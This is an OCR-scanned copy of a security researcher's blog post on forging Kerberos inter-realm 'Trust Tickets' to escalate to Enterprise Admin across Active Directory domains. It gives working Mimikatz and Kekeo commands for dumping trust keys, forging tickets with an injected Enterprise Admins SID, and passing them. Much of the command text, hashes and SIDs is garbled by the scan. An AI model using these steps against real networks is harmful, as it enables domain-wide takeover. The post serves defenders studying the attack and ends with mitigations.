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In early 2015, I theorized that it’s possible to forge inter-realm (inter-trust) Kerberos tickets in a similar manner to
how intra-domain TGTs (Golden Tickets) and TGSs (Silver Tickets) are forged. Around the same time, Benjamin
Delpy updated Mimikatz to dump trust keys from a Domain Controller. Soon after, Mimikatz gained capability to
forge inter-realm trust tickets. Benjamin Delpy added “Kekeo” to Github which includes “AskTGS” which
provides the capability to request TGS service tickets for targeted services in the destination domain and save
them to file. With the tools enabling further research, I was able to explore what is possible with forged cross-trust

Kerberos tickets.

Note that forging a Kerberos Trust Ticket is similar to forging a_Golden Ticket or a Silver Ticket.

The key to the power of a Kerberos Trust Ticket within a multi-domain Active Directory forest is Enterprise
Admins membership which easily crosses domain boundaries providing effective Domain Admin rights in every

domain in the AD forest.

I presented on “Trust Tickets” at Shakacon in Hawaii last week. Simply put, Trust Tickets are forged inter-realm
Kerberos tickets. When there are two Active Directory domains connected via trust, there is a password which is
shared between them used to keep the trust active. This trust password is also used as the shared secret in

Kerberos.

I also presented at Black Hat USA 2015 how I enabled Golden Tickets to work across domains in the same forest

(aka Enhanced Golden Tickets).

Update 9/2/2015: I updated the screenshots to accurately show how the intra-forest trust is exploited using

the current version of Mimikatz.
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Kerberos Across Trusts

Kerberos communication within a domain is pretty straightforward — the domain Kerberos service account is used
to sign and encrypt every authentication ticket (TGT). This enables the TGT to be used throughout the domain and
presented to any DC in the domain. This works since the Kerberos service account (KRBTGT) is effectively the
trust anchor used for the domain and is why losing control of the KRBTGT account password hash equates to

losing control of the domain.

When a user authenticates to Active Directory, the authenticating Domain Controller creates a TGT
(authentication ticket) for the user that contains the groups the user is a member of (including groups from other
domains in the forest, such as universal groups), signs, and encrypts the ticket using the KRBTGT password hash.
When presented later to the DC for a service ticket (TGS), the TGT ticket and its contents are validated. The DC
effectively copies the contents of the TGT into a TGS (service ticket) that the user presents to the target service.
One component of the TGS is encrypted with the target service’s password hash and the other with the user’s
password hash. If the target service can open the TGS, it is accepted. This means that the user’s TGT can be
reused to get service tickets during the TGT’s lifetime (10 hours by default). The TGT is also portable, so if an
attacker can steal a user’s TGT, it can be reused on any other computer on the network, at the same time, to access

any resource to which the user has access.

When an attacker gains access to the KRBTGT password hash on the domain, it is possible for them to generate
their own TGTs (called “Golden Tickets”) that are accepted by all the Domain Controllers in the domain since
they are signed and encrypted with the domain Kerberos service account data. Simply put, a Golden Ticket is a
valid TGT.

In order for the user to access resources in another domain in the same forest, the Kerberos process involves
another layer since the Kerberos service (KDC) in one domain can’t issue a service ticket (TGS) in another. Since
the TGS can only be built using the target service’s password data and Domain Controllers (DCs) only contain
password data for security principals (users, computers, etc) in their own domain, the DC does not have the target
services password data and can’t create the TGS. In order to resolve this issue, there is a trust password between

two domains in the same AD forest used as a bridge enabling Kerberos authentication across domains.
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Once there is a trust between two domains, (domain BLUE and domain GREEN both are in the same AD forest
for this example), the ticket-granting service of each domain (“realm” in Kerberos speak) is registered as a
security principal with the other domain’s Kerberos service (KDC). This enables the ticket-granting service in
each domain to treat the one in the other domain as just another service providing cross-domain service access for

resources in the other domain.

The Kerberos flow is the same as described earlier for all resources accessed within the domain. When the user
requests a service ticket for a resource in another domain, the DC in the user’s domain (BLUE) sends the user a
TGS referral message as part of the normal service ticket response message (TGS_REP) from the DC to the user.
This message includes a TGT for the other domain where the desired resource is located (GREEN) and indicates it
is a referral to another TGS. The TGT for the other domain is not signed by the GREEN domain’s KRBTGT
account since the BLUE domain DCs don’t know the password for that account. Instead, the TGT for the other
domain is signed and encrypted using the inter-realm key which is derived from the trust password. Since this
inter-realm ticket is a TGT, it contains the user’s credentials and group membership though its signed with the
inter-realm key, not the DC’s KRBTGT service account. The user needs to have access to the resource in the other

domain in order for access to be granted.

Inter-realm trust communication becomes more complicated in an Active Directory forest with multiple domains,

including parent (root) and child domains.
Imagine an AD forest with three domains, ROOT, CHILD1, & CHILD2.

1. ROOT is the root domain with the other two configured as child domains, so ROOT has automatic two-
way transitive trusts with both CHILD1 & CHILD2.

2. In order for a CHILD1 user to access a resource in CHILD?2, the following occurs:

3. CHILD1 user authenticates and gets the user’s TGT for the CHILD1 domain.

4. The user requests a service ticket for a share in CHILD2.
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5. The CHILD1 DC copies the CHILD1 TGT into a new inter-realm TGT (using the ROOT-CHILD1 inter-
realm key) and sends it to the user along with a referral to the ROOT domain.

6. The user sends the (ROOT-CHILD1) IR-TGT to a ROOT DC along with the TGS_REQ for the resource.

7. The ROOT DC copies the IR-TGT into a new inter-realm TGT (using the ROOT-CHILD? inter-realm key)
and sends it to the user along with a referral to the CHILD2 domain.

8. The user sends the (ROOT-CHILD2) IR-TGT to a CHILD2 DC along with the TGS_REQ for the resource.

9. The CHILD2 DC copies the IR-TGT into a TGS used to access the resource.

Note that the original referral message the user gets includes a session key for communicating with the ROOT
DC. The ROOT DC then provides a new session key for the user to use to communicate with the CHILD2 DC.

Forging Kerberos “Trust Tickets”

In a scenario where an attacker compromised a single domain in an AD forest and dumped all the credentials, the
attacker would naturally use Golden Tickets since they enable full access to the domain and the AD forest (Golden
Tickets include Enterprise Admin group membership by default). The well-known remediation of Golden Ticket
creation and use is to change the compromised KRBTGT account password twice. After this action is complete,
the attacker can’t create any more Golden Tickets. However, there is another avenue for an attacker that has
dumped all credentials from a Domain Controller to re-exploit the multi-domain AD forest. Since every domain in
an AD forest has an implicit trust (and associated trust password) with at least one other domain, the attacker can
forge a different type of Kerberos ticket to spoof Enterprise Admin rights in the target domain. Enterprise Admins
are members of the Administrators group in every domain in an AD forest, this level of access enables the attacker

to compromise all domains. This is kind of like a Golden Ticket across trusts.

Forging the Inter-Realm TGT (IR-TGT) for access isn’t necessary if you have the KRBTGT account password,
but if that has changed twice, the forged IR-TGT (Trust Ticket) can be used to impersonate an EA and regain full
domain/forest admin rights. Since there’s an automatic, two-way transitive trust for every domain in the forest,
getting the trust key for one trust, enables access to the others (though I’'m not sure if the tools support this right

now). This is due to the trust flow.

It’s not a Silver Ticket since it’s not a forged TGS and it’s not exactly a Golden Ticket since it’s not using the
KRBTGT account to forge a TGT. Forge the inter-realm TGT for a user in Domain A for the TGS_REQ to the
Domain B DC to get a valid TGS to the Domain B resource.

While forging trust keys should work really well in a multi-domain AD forest, there are a variety of trust options
between domains/forests that could cause problems with attempting to extend compromise of one to another. With
that said, if a user in Domain A has elevated rights to resources in Domain B, the forged IR-TGT should provide
an attacker the same access as a Golden Ticket (since it would be used as the basis for the IR-TGT). One brilliant
way to exploit this is to add admin groups for Domain B in the user’s forged IR-TGT in SID History (assuming
the trust has it enabled), though this is theoretical at this point.

Note:

Two-way trusts are actually 2 one-way trusts, each of which has a different password which only change every 30
days (default). The TrustING domain PDC performs the password change for the trust.
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HarmJOy has additional detail on this issue including great trust recon tools in PowerView.

Forging External Trust Tickets

There are essentially two different types of trust in Active Directory: one external to the AD forest and one

internal. In this first section, we cover forging external trusts.

Step 1: Dumping trust passwords (trust keys)
The trust password is in a domain credential dump, just look for the trust name with a dollar ($) sign at the end.

Most of the accounts with a trailing “$” are computer accounts, but some are trust accounts.

ID : 0000045b (1115)
Iser : EXTERMALS

Step 2: Create a forged trust ticket (inter-realm TGT) using Mimikatz

Note that the trust password, aka trust key, was extracted along with all user data when dumping AD credentials.
Each trust has an associated user account which contains that NTLM password hash. This data can be used to
forge “Trust Tickets”. We use the trust password for the external trust to create the Trust Ticket file. The trust
password is the same as what I used to create it. To create a trust with another forest, an admin on one side enters
the trust password and the other admin uses the same trust password which may be sent via email to ensure it is
entered correctly. This means that when a trust is first created, any one with knowledge of the trust password can
create Trust Tickets. Creating a Trust Ticket is similar to creating a Golden Ticket., in fact it’s the same Mimikatz
command, just with different options. The service key is the trust NTLM password hash and the target is the target
domain FQDN.

mimikatz{commandline) # kerberos::golden /domain:lab.adsecurity.ory /sid:5-1-5-21-1583770191-1488688446-3268284411 /rc4:7|
cA8d63a2f48fB45971hc2236ed3f3ac Auser:Administrator sservice:kebtgt /targetiexternal.com sticket:c:stempr\TrustTicketl . ki)
rhi

: Administrator

: lab.adsecurity.oryg

: 8-1-5-21-1583778191-148008446-3268284411

ime = ¥ 7:34: ; 6-,24-2025 9:34:40 AN ; 6-24-2825 7:34:48 AN

ifet
Ticket : c: istTicketl . kirbi

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
¢ KrbCred generated

Final Ticket Saved to file ?

Save this ticket to a file for step 2

Step 3: Use the Trust Ticket file created in Step 2 to get a TGS for the targeted service in the destination
domain. Save the TGS to a file.
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PE C:-stempikekeo? _“Asktgs c:stemp“TrustTicketl.kirbi cifs-sadsextdcBl.external.com

igﬂﬂﬂgn AskTGS Herberos client 1.8 (xB6) release "Kiwi en C" (Apr 19 2015 @@:51:37>
Wit~ BB w % ow

HH ~ - ## Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com »

‘HiE o HE' http:-~blog.gentilkiwi.com {oe.eo’

* R * ¥ S

Ticket c:stempsTrustTicketld . kivrhi
Service krbtgt ~ external.com @ lab.adsecurity.org
Principal Administrator P lab.adsecurity.oryg

» cifssadsextdcBl .external.com
# Ticket in file ‘cifs.adsextdcBl _external.com_kirhi’

Step 4: Inject the TGS file created in Step 3 and then access the targeted service with the spoofed rights.

|._ b Metwork » adsextdd)l.external.com » AdminShare -

mj adminfile - Motepad

File Edit Format View Help

only External domain administrators can change.
ONly Trusted admins have read access.

Forging Internal AD Forest Trust Tickets

Step 1: Dumping trust passwords (trust keys)

Current Mimikatz versions can extract the trust keys (passwords).

Page 6 of 9


https://adsecurity.org/wp-content/uploads/2015/07/TrustTickets-ASKTGS-ExternalDomain.png
https://adsecurity.org/wp-content/uploads/2015/07/TrustTickets-ASKTGS-ExternalDomain.png
https://adsecurity.org/wp-content/uploads/2015/07/TrustTickets-ExternalDomain-AccessResources.png
https://adsecurity.org/wp-content/uploads/2015/07/TrustTickets-ExternalDomain-AccessResources.png

https://adsecurity.org/?p=1588

catz 1 lege: idebug sadump: itrust Spatch exat

mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 25 2015 11:30:54)

Benjamin DELPY “gemtilkawi™ ( benjasnn@gentilkiwi.com )
http: -h'rlr_q.l_]rrl'! 1 Tkiwi . com/mimikatz (oe. ﬂ::-
with 16 modules ® -

1m katz cnﬂ"aﬂd ine) & privilege: :debug
F"'1n.1.|~|:||- 207 0K

w1 katz {commandline) # lsadump::trust Spatch
urrent domain: CHILD.LAB.ADSECURITY.ORG (ADSECLABCHILD / 5-1-5-21-3677078698-724690114-19726707

Dossain: LAB. ADSECURITY.ORG ([ADSECLAB 5-21-1581655573-3923512380-69664 7694 )
[ In ] CHILD.LAB.ADSECURITY.ORG G
= 9/2/2015 7:43:14 PM - CLEAR b O7 52 bD 61 53 B4 4a 79 18 77 53 58 d6 39 63 64 ee
8 db d3 aj 9a 18 aa 1f B7 3 01 f1 15 98 4b Bc 43 T3 4b Oc 01 bf c1 2a 09 03 99
88 c3 6b 54 a Ba . C a 75 18 eb 06 9b 2b 76 b0 35 B7 36 3a 1e f3 7B 06 ¢
c2 B5 4d Be Be 5b ee 2 21 ba ac 60 6E Oe 4F e 3c 9 e3 6d 7B da 59 B4
5 46 33 Ge 2f 28 &7 T 5 51 a9 82 69 05 dd 25 18 d9 dc 4e 5e T4 al 18
79 4Ff 15 Be 54 16 aB a3 95 7B Dd 23 2Ze fa 53 62 36 67 5¢c 14 o9 d8
7 74 Te 24 96 b3 09 B6 e2 } a4 45 66 8T 1 66 T2 6F cs 3b cd 22 58 5b &1
aes256_hmac 4a2a33Feb2fd2d76811b ded 24862 0054824 0F 264 cheal e324 celb2aldbalda
aesl128_hmac 385 FdE501L0beeed TOF 7 Felead0c2 3bed

rc4_hmac_nt 45ed1653275F TBEB46T FOGdelal2 3861d

P - - 8b 07 § 61 B 79 18 77 53 58 d6 319 63 64 ee 3
18 F i | (17 bf ¢1 2a 09 03 99 7
i Ba 76 b0 35 87 36 la 1e f3 7B 06
Be 10 3 3 6d 78 da 59 B4
2F i dd 25 18 dS 4e 5e f4 al 18
Ge : 4c 53 5 67 5c d9 da
b3 BE &2 b & &f F 40 5 3b
_hmac 2b9ecyl6434dFE5 Be6FE177c7h0615 Jebl 46adchadel?
aes128. hmac £19F9203862 adabShass63affooifhrs
rcd_hmac_nt 49ed1653275F7E846fFOBdela02 386Fd

WA A i
O ey

sl

] CHILD. LAB.ADSECURITY.DRG -» LAS, ADSECURITY.ODRG
97272015 T:43:14 P CLEAR - &b O7 b0 61 53 B4 4a 7 B 77 53 58 dé 39 63 64 ee
5 53 d9 a3 9a 1b 18 11 aa 1f 87 f3 01 f1 15 98 4b Bc 43 db 0c 01 bF 1 Za 09 03 99 74 3
€3 6b 54 af 43 Ba 39 2d 28 B89 54 9a ; 18 eb 06 9b 2b 35 B7 36 3a 1e T3 78 06 f
S9d 85 4d 8e d4 Be 5b ee 7 b5 aa 21 ba ac 60 68 De 4f 3c 9c &3 6d 78 da 59 B4
ds 46 33 be 2F 28 &7 bc 37 53 cb a3 82 69 05 dd dd 25 18 d9 dc 4e 5e 4 al 18
cd 79 4F 15 be 54 aﬂ fb ed4 a3 12 95 78 Od 23 2e 4cC 53 62 36 67 5c 14 d9 d8 a
1 47 74 Te 7 b3 09 BE6 7 bBE ad 45 6 BF c1 66 &F 40 3b cd 22 58 5b #£1
aes256_hma d4aZaiifeb2fd2d7T681 Lb'ded‘¢5t 2e0054aa40F J&dcseale::-ee'J;aDdJaL&a
aes128_hmac 385Fd65 01 0bGeed 70T 7 cleadlc? Ibcd
rcd_hmac nt 49ed165 3275F7EB46FFOEde1a02 386Fd

Step 2: Create a forged trust ticket (inter-realm TGT) using Mimikatz

Forge the trust ticket which states the ticket holder is an Enterprise Admin in the AD Forest (leveraging
SIDHistory, “sids”, across trusts in Mimikatz, my “contribution” to Mimikatz). This enables full administrative
access from a child domain to the parent domain. Note that this account doesn’t have to exist anywhere as it is

effectively a Golden Ticket across the trust.

PE C:ntenprikekeo? cistempiminikatz Himikatz "Herheros olden sdomain:child.lab.adzecurity.org #eid:5-1-5-21-3677878678—
724698114-1972670778 szids :8-1-5-21-1581655573-3923512380-696647894-519 /rcd:49cd1653275F 70046f FB6delaB2306fd user:Dar
thlader sservice:kebtgt stavget:lab.adsecurity.oryg Aticket:e:stempitickets~EA-ADSECLABCHILD.  kix i

L BHER. mimikatz 2.8 alpha (x64> release "Kiwi en C" <(Aug 25 2015 11:38:54)
N8 * uR.

T T R

B~ / BE Benjamin DELPY ‘gentilkiwi’® ¢ benjaninBgentilkiwi.com 3

P TR http: shlog.gentilkivi.con/nimikatz . Coe.end

fRERER with 16 modules = w =

mimikatz{commandline? # Kerberos::golden Adomain:child.lab.adsecurityv.org #sid:8-1-5-21-367707R678-724690114-1972670770
sids:5-1-5-21-1581655573-372351238A-696647894-519 Arcd4:49edl653275Ff 70846F FAbdelaB2386fd Auser:Darthader sservice:krbt
gt ctarget:lab.adsecurity.org sticketzc:Ntenphtickets\ER-ADSECLABCHILD. kirbi
Darthlader
: clnld lab.adzecurity.o
- L-21-3677R78698- 7?4ﬁ9ﬁ114 1972670778
: BBB

: w513 512 528 518 519
: §-1-5-21-1581655573-39235123R0-696647894-519 ;
: 49edl6h32V5F7H846F FB6delaB23B6Ffd ~ wod_hmac_nt
: krbtgt
: lah.adzsecurity.or
1 9/2-.2015 9:15:32 PH ; B-30-2825 9:15:32 PH ; B8-30-20825 9:15:32 PN
Ticket : g:stemphtickets“EA—-ADEECLABCHILD.kivbi
PAC generated
PAC signed
EncTicketPart generated

EncTicketPart encrypted
KebCred generated

Final Ticket Saved to file ?

mimikatz{commandline? H exit
Bye !
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Step 3: Use the Trust Ticket file created in Step 2 to get a TGS for the targeted service in the destination
domain. Save the TGS to a file.

The resulting TGS provides EA access to the parent (root) domain’s Domain Controller.

1Etcnp1kckcn}_.:hsht§ﬁ cintenpitickets S ER-ADEECLABCHILD.kirbhi C ADEDCHE . lab.adsecurity.oryg
AzkTIGE Herberos client 1.8 (xB6) releasze "Kiwi en C" {(Apr 19 2815 BB:51:37)

Ao -

min DELPY “gentilkiwi® ¢ benjaminPgentilkiwi.com J
Seblog.gentilkivi.con Coe.e0d
* W S

ol trmp\tthut :»EA—ADEECLABCHILD. kivrhi
wrbhtgt ~# lab.a curity.org B uhllﬂ lab.adsecurity.oryg
]"L-u*tl:Um:lrl ﬂ i r|. 11.i -‘qu A Ill'll."l 111‘13

CB2 . lab.adsecurity.org
n file "CIFS.ADSDCA2. lab. adsecurity.org.kirhi”®

L‘i‘-.tr.-'na:-'akr.riu::? SsHirbikatoer lza cistemptickets“CIFE.ADEDCAZ. lab.adsecurity.org.kirbi
Iltllltg KiRBikator 1.8 (xBb6> release “Wiwi en C" (Ape 19 2815 BB:51:33>
.
B:n]\nln DELPY “gentilkiwi® < hr'n'j'\nlﬂ.'qcnfllhnn. com

||1L|| ’ 'h'lng gent ilkiwi.con Coe.en)
o

1 D DG Hd L‘l. 1 c ity.om CRFC KRB-CRED <H2ZZ))
ild.lab.ads rity.org-CIF 2. lab.adsecurity. orgBLAB. ADSECURITY .ORG : injected

o) . lab.adsecurity.orghadning
command [lIhplElEd = fullu

Once the ticket is passed the user is an Enterprise Admin for the AD forest and has DA rights to the DC in the
target domain. This is a great way to escalate rights across other domains in the forest. Note that unless an attacker
gets the KRBTGT account in the domain that hosts the EA group, the Golden Ticket only grants DA rights to the
current domain (the one the Golden Ticket was created in). Once the attacker dumps the credentials for the current
domain, the trust password is used to create a Trust Key that states the holder of the ticket is EA. Then the target
domain can be exploited. This can be repeated to move through every domain in the forest quite easily since every
child domain inherently trusts the parent aka root domain. So, using a Trust Ticket to become EA in the AD forest

involves compromising a single domain.

Conclusion

In a multi-domain AD forest, each domain has a trust with at least one other domain. Each trust has an associated
password which can be used to forge trust tickets. Compromise one domain to potentially compromise another.
Reducing the AD computer account policy mitigates this attack since Trust passwords are changed on this
schedule (TrustING domain).

Regarding Trust Tickets within an Active Directory Forest:

1. Using a Kerberos trust ticket from Child domain impersonating a Child domain user provides the level of
access that Child domain user has at the Parent domain. If the Child domain user is a member of Enterprise
Admins or a group that has admin rights on the parent, the forged Trust Ticket provides admin access to the

parent.
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2. Using the /sids parameter in Mimikatz to add the Enterprise Admins group in the Parent domain to the
Child domain user account in the Trust Ticket provides EA rights to the Parent domain without the Child
domain user account actually having these rights. Note that this is similar behavior to “enhanced” Golden
Tickets since they use SID History to spoof access across domains.

3. Even if the KRBTGT account password is rotated on a regular basis, the attacker may still have the trust

key (password) and can use that to regain full Enterprise Admin rights.

Mitigating factor: Changing the domain machine password policy to be a low number in the TrustING domain

ensures the trust password changes more quickly (along with the domain computer account passwords).
Best Mitigation: Don't let attackers run code on DCs — Protect Domain Admins!
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e Mimikatz and Golden Tickets... What’s the BFD? BlackHat USA 2014 Redux part 1
http://passing-the-hash.blogspot.com/2014/08/mimikatz-and-golden-tickets-whats-bfd.html

e Mimikatz Golden Ticket blog entry by Benjamin Delpy (Mimikatz author)

http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos
» Protection from Kerberos Golden Ticket: Mitigating pass the ticket on Active Directory (CERT-EU
Security White Paper 2014-07)
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